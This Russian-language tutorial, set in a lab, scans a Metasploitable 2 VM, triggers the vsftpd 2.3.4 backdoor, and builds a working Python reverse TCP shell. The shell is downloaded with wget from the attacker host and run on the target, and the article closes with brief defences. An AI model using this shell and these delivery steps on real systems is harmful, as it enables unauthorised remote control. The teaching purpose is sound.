×
Главная   »   Статьи   »   Работаем с сокетами и разрабатываем обратную TCP-оболочку на Python
Работаем с сокетами и разрабатываем обратную TCP-оболочку на Python
Метки:      ,   ,   ,   ,   ,   ,   ,   ,   

В этой статье научимся работать с сокетами, разработаем обратную оболочку на Python с использованием модулей subprocess и socket, поработаем с утилитами nmap, wget, nc, а также развернем простой веб-сервер одной командой.

Автор статьи никого не призывает к правонарушениям и отказывается нести ответственность за ваши действия. Вся информация предоставлена исключительно в ознакомительных целях. Все действия происходят на виртуальных машинах и внутри локальной сети автора. Спасибо!

Умение работать с сокетами важно не только для специалистов по компьютерной безопасности, но и для сетевых инженеров, поэтому подробно разберем процесс написания клиента и сервера обратной TCP-оболочки. Но для начала просканируем нашу цель (Metasploitable 2), установленную в виртуальной машине и имеющую IP 192.168.1.101, чтобы выяснить, как нам позднее «доставить» бэкдор в нее.

В этой статье познакомимся и вспомним утилиты nmap, wget, nc, а также развернем простой веб-сервер на Python одной командой.

Ищем уязвимость

Сканировать будем при помощи утилиты nmap. Для запуска SYN-сканирования можно явно задать флаг -sS:

nmap -sS 192.168.1.101

Если в межсетевом экране настроены правила, определяющие, какие пакеты могут попадать в сеть, то может возникнуть проблема со сканированием SYN пакетами. В таком случае можно попробовать использовать FIN-сканирование.

nmap -sF 192.168.1.101

Есть еще более «бесшумное» сканирование – Xmas-сканирование.

nmap -sX 192.168.1.101

Нам более интересно узнать версию запущенного на этом порту приложения. Для этого используем флаг -sV.

nmap -sX -sV 192.168.1.101

Кстати, если вам интересно узнать более подробно про сканирование, в статье «Протокол TCP: SYN-, FIN-, NULL-, ACK-, XMAS-сканирования и выявление признаков последнего» мы подробно разберемся как работают основные виды сканирования и напишем SYN-, FIN-, NULL-, ACK-, XMAS-сканеры на Python.

Получаем примерно такой ответ для заведомо уязвимой операционной системы Metasploitable:

Nmap scan report for 192.168.1.101
Host is up (0.000080s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login       OpenBSD or Solaris rlogind
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:43:FF:DF (Oracle VirtualBox virtual NIC)
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

На порту № 21 запущен FTP сервер vsftpd 2.3.4 с уже давно известным бэкдором. Давайте воспользуемся этой лазейкой. Мы можем написать код на Python, чтобы пользоваться этой уязвимостью (https://www.exploit-db.com/exploits/49757). Если внимательно на него посмотреть, вы увидите, что нам нужно всего лишь авторизоваться при помощи следующего логина и пароля: USER nergal:) и PASS pass.

# nc 192.168.1.101 21

220 (vsFTPd 2.3.4)
user user:)
331 Please specify the password.
pass invalid

После чего терминал зависнет и откроется порт 6200, через который можно получить доступ к оболочке:

# nc 192.168.1.101 6200

Мы еще вернемся к этому. Давайте перейдем к самому интересному: разработке.

Разрабатываем клиент обратной оболочки

Название «обратная оболочка», она же «оболочка с обратным подключением», говорит само за себя. В такой схеме используется уязвимость целевой системы, чтобы запустить на ней «некую» программу, которая создает сеанс между компьютерами жертвы и злоумышленника.

Начнем с клиентской части, которая должна быть каким-то образом доставлена в целевую машину и запущена. Нам понадобятся модули subprocess и socket. Оба модуля хорошо известны сетевым инженерам: первый позволяет создавать новые процессы и подключаться к стандартным потокам ввода/выводы/ошибок и получать ответ (более подробно можете почитать у Наташи Самойленко, это не реклама, но она действительно много полезного написала в своих справочниках/книгах). Второй модуль нужен для работы с сокетами – программный интерфейс для обеспечения информационного обмена между процессами. Почему нам нужны класс Popen и специальное значение PIPE из модуля subprocess вы узнаете позднее.

import sys
from subprocess import Popen, PIPE
from socket import *

IP-адрес сервера (компьютер атакующего) передавать будем в аргументе, порт выберем любой свободный, например, 8000.

server_name = sys.argv[1]
server_port = 8000

Далее будем создавать клиентский сокет, но для этого стоит немного полистать документацию или найти готовое решение. Для обучения все же полезнее первое. Первым аргументом функции socket() мы укажем AF_INET (т.е. создаем IPv4), вторым аргументом SOCK_STREAM (т.е. TCP-сокет. Для UDP-сокета: SOCK_DGRAM). Фрагмент объявления функции из документации:

class socket.socket(family=AF_INET, type=SOCK_STREAM, proto=0, fileno=None)

Теперь необходимо связать сокет и наш хост. Находим в документации функцию connect(), которая принимает один аргумент. Обратите внимание на пояснение, где сказано, что формат определен выше в документации. Для семейства адресов AF_INET используется пара (кортеж) из хоста и порта. Так и сделаем:

client_socket = socket(AF_INET, SOCK_STREAM)
client_socket.connect((server_name, server_port))

Далее следует что-нибудь отправить, чтобы сообщить принимающей системе об успешном подключении. Функция send() нам в этом поможет. Обратите внимание, передавать нужно в двоичном формате:

client_socket.send('Hello'.encode())

Теперь найдем в документации функцию приема из сокета – recv(). В качестве максимального объема данных укажем число 4096. И не забываем, команды с нашей машины тоже будут приходить в двоичном формате.

command = client_socket.recv(4096).decode()

Далее следует зациклить нашу программу, чтобы она не завершилась после выполнения первой команды. После чего переходим к документации модуля subprocess, в которой находим конструктор Popen.

Команда передается в виде списка (строка разбита пробельными символами), с этим все понятно. Теперь нам как-то следует вернуть результат выполнения команды. Наверное, это то что мы ищем: stdin, stdout and stderr specify the executed program’s standard input, standard output and standard error file handles, respectively. Valid values are PIPE, DEVNULL, an existing file descriptor (a positive integer), an existing file object with a valid file descriptor, and None. PIPE indicates that a new pipe to the child should be created.

Здесь я немного замялся, но когда дошел до функции communicate(), все встало на свои места: Note that if you want to send data to the process’s stdin, you need to create the Popen object with stdin=PIPE. Similarly, to get anything other than None in the result tuple, you need to give stdout=PIPE and/or stderr=PIPE too.

В результате получаем следующий код:

while command != 'exit':
    proc = Popen(command.split(" "), stdout=PIPE, stderr=PIPE)
    result, err = proc.communicate()

Теперь нам необходимо отправить результат на атакующую машину и приготовиться принимать следующие команды.

И наконец, после ввода команды exit в консоль, закрыть созданный сокет. В итоге у нас получилась вот такая клиентская часть обратной оболочки:

import sys
from subprocess import Popen, PIPE
from socket import *

server_name = sys.argv[1]
server_port = 8000

client_socket = socket(AF_INET, SOCK_STREAM)
client_socket.connect((server_name, server_port))
client_socket.send('Hello'.encode())

command = client_socket.recv(4096).decode()
while command != 'exit':
    proc = Popen(command.split(" "), stdout=PIPE, stderr=PIPE)
    result, err = proc.communicate()
    client_socket.send(result)
    command = (client_socket.recv(4096)).decode()

client_socket.close()

Сохраним его в файл с именем reverse_shell.py и перейдем к написанию серверной части.

Разрабатываем сервер обратной оболочки

Серверную часть нам будет, в какой-то мере, проще написать, так как мы очень подробно разобрали написание клиентской части. В серверной части модуль subprocess не понадобится. Чтобы сокеты могли нормально функционировать, протоколы должны совпадать.

from socket import *
server_port = 8000
server_socket = socket(AF_INET, SOCK_STREAM)

Для большей надежности сообщим операционной системе, что можно использовать повторно недавно использованный сокет. В конце документации вы можете найти пример, использование которого с малой задержкой между запусками может привести к ошибке OSError: [Errno 98] Address already in use. Решается она путем добавления флага SO_REUSEADDR. Не будем доводить до этого и сразу добавим строчку:

server_socket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)

Теперь следует связать сокет и порт компьютера. Обратимся к документации модуля socket и найдем команду bind(). Там написано, что сокет привязывать можно только в том случае, если этого не было сделано ранее, а про формат указания хоста и порта мы уже знаем. В данном случае хост будет локальным, поэтому оставим это поле пустым:

server_socket.bind(('', server_port))

Далее разрешим нашему серверу принимать входящие подключения. В документации модуля socket находим функцию listen().

server_socket.listen(1)

Напишем что-нибудь в консоль, чтобы не думать, что наш терминал завис. После подключения клиента, необходимо принять это подключение и получить новый объект сокета для работы с ним, а также адрес подключаемого хоста (их же может быть несколько…). Много слов, легче снова посмотреть в документацию по модулю socket. Находим функцию accept(). К счастью, многие функции с говорящими названиями.

print('Wait...')
connection_socket, addr = server_socket.accept()
print(f'Connecting {str(addr)}')

Далее работаем с новым сокетом также, как и в клиенте: отправляем/получаем и так, пока не укажем команду exit.

После завершения работы разрываем соединение с клиентом при помощи функции shutdown(), как указано в документации. И закрываем дескриптор сокета, словно это обычный текстовый файл. В итоге получаем вот такой код сервера обратной оболочки:

from socket import *

server_port = 8000
server_socket = socket(AF_INET, SOCK_STREAM)
server_socket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
server_socket.bind(('', server_port))
server_socket.listen(1)

print('Wait...')

connection_socket, addr = server_socket.accept()

print(f'Connecting {str(addr)}')

message = connection_socket.recv(1024)

print(message)

command = ''
while command != 'exit':
    command = input('Enter: ')
    connection_socket.send(command.encode())
    message = connection_socket.recv(1024).decode()
    print(message)

connection_socket.shutdown(SHUT_RDWR)
connection_socket.close()

Сохраните скрипт под любым именем и запустите его в терминале. Настало время экспериментов.

Проверяем работу обратной оболочки

Сразу оговорюсь, мы не будем разбираться в способах доставки нашего бэкдора, так как статья не об этом. У нас в распоряжении есть заведомо уязвимая операционная система Metasploitable 2, мы уже узнали про потайной доступ к ее оболочке. Этим мы и воспользуемся.

Давайте выполним вышеуказанные шаги и войдем в оболочку Metasploitable с нашей Kali Linux.

Кстати, на Python можно поднять простой веб-сервер одной командой. Создайте новую папку, скиньте в нее скрипт с клиентом обратной оболочки и откройте из этой папки терминал. Теперь выполните следующую команду (более подробно про модуль http.server читайте в документации):

python3 -m http.server 8080

У нас есть сервер с со скриптом обратной оболочки и доступ к целевой машине. Откройте терминал, в котором получен доступ к целевой машине, создайте новую папку, перейдите в нее и скачайте с нашего сервера скрипт клиента обратной оболочки (192.168.1.100 – это IP-адресс Kali Linux, машины, с которой атакуем):

wget 192.168.1.100:8080/reverse_shell.py

Теперь наш бэкдор находится на целевой машине. Запустим его в фоновом режиме (в конце команды добавляем &).

python reverse_shell.py 192.168.1.100 &

Смотрим на терминал, где запущен сервер обратной оболочки и видим его готовность к приему команд. Получается, мы справились.

Защита от обратной оболочки

Соединения с обратной оболочкой, как правило, являются вредоносными, если вы явно не настраивали их сами для удаленного управления. Довольно сложно заблокировать обратные соединения, с точки зрения сервера, но всегда можно минимизировать риск.

Заблокируйте, если это возможно, все исходящие соединения, кроме определенных портов и необходимых IP-адресов.

Настройте прокси-сервер со строгим контролем.

Удалите ненужные интерпретаторы и утилиты, при помощи которых можно выполнить обратный шелл-код. В нашем случае был установлен интерпретатор Python, с помощью которого мы запустили обратную оболочку. Правда удаление лишнего мало чем поможет, но всё же.

И самое главное, обновляйте все сервисы и приложения вовремя и из достоверных источников, чтобы усложнить доставку злоумышленником бэкдора на сервер.

Выводы

В этой статье мы поговорили про поиск запущенных сервисов и уязвимостей на целевой машине, вспомнили как применять утилиту nmap (его уже когда-то упоминал и не раз), поработали с nc и wget, развернули простой веб-сервер на Python и написали клиентскую и серверную часть обратной оболочки, опираясь на документацию по модулям subprocess и socket.

489 просмотров
06.03.2023
Автор